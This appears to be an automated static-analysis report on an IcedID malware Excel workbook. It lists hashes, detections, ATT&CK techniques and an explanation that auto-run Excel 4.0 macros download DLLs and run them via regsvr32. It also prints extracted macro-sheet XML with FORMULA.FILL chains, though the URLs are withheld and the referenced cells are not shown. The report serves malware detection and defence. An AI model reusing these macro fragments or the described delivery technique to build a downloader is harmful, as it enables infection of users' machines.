IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 75db974368ff3a46…

MALICIOUS

Office (OOXML)

185.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-10
MD5: 37a730af54895d84d9ec354647bbd736 SHA-1: c67a28eaad93a847fc0549a8c122893317dfc691 SHA-256: 75db974368ff3a46787cdfe59b8cdb70dbbe607ad2283fbc74a25bb4ff315145
242 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros that utilize dangerous functions like FORMULA.FILL to download payloads from multiple URLs. Specifically, it attempts to download and execute files from 'the embedded link', 'the embedded link', and 'the embedded link' using 'regsvr32' to execute the downloaded DLLs. This behavior is characteristic of the IcedID malware family, which often uses macro-enabled documents as a delivery mechanism.

Heuristics 5

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (3 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA.FILL critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 1288 bytes
SHA-256: 4579e9d9134ee88a7a896edfcabc863e2e82e557af728eaf391ae4946f07af34
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="CA14:CB15"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="14" spans="79:80" x14ac:dyDescent="0.25"><c r="CA14" s="1" t="str"><f>NOW()&amp;".jpg"</f><v>44376,8555986111.jpg</v></c></row><row r="15" spans="79:80" x14ac:dyDescent="0.25"><c r="CA15" s="1" t="b"><f>FORMULA.FILL(Sheet4!CG5&amp;Sheet4!CG6&amp;Sheet4!CG7&amp;Sheet4!CG8,Sheet1!CA15)=CB14()</f><v>1</v></c><c r="CB15" s="1" t="b"><f>FORMULA.FILL(Sheet4!CG5&amp;Sheet4!CG6&amp;Sheet4!CG7&amp;Sheet4!CG9,Sheet1!CA16)=Sheet2!CA13()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1067 bytes
SHA-256: 0101ee9e8c3951ec575bb7566d5eddf13ee538f0fe9782373a93f2413e5887d6
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="CA14"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="14" spans="79:79" x14ac:dyDescent="0.25"><c r="CA14" s="1" t="b"><f>FORMULA.FILL(Sheet4!CJ9&amp;Sheet4!CJ10&amp;Sheet4!CJ11&amp;Sheet4!CJ12,Sheet1!CA21)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1332 bytes
SHA-256: 3f1fe57153abf51373b41e259e14cd7b677ecfec1f43f73b973ae63b3ad3f3c1
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="CA14:CD14"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.5703125" style="1"/></cols><sheetData><row r="14" spans="79:82" x14ac:dyDescent="0.25"><c r="CA14" s="1" t="b"><f>FORMULA.FILL(Sheet4!CG5&amp;Sheet4!CG6&amp;Sheet4!CG7&amp;Sheet4!CG10,Sheet1!CA17)=CB13()</f><v>1</v></c><c r="CB14" s="1" t="b"><f>FORMULA.FILL(Sheet4!CF16&amp;Sheet4!CF17,Sheet1!CA18)=CC13()</f><v>1</v></c><c r="CC14" s="1" t="b"><f>FORMULA.FILL(Sheet4!CF16&amp;Sheet4!CF18,Sheet1!CA19)=CD13()</f><v>1</v></c><c r="CD14" s="1" t="b"><f>FORMULA.FILL(Sheet4!CF16&amp;Sheet4!CF19,Sheet1!CA20)=Sheet1!CA13()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>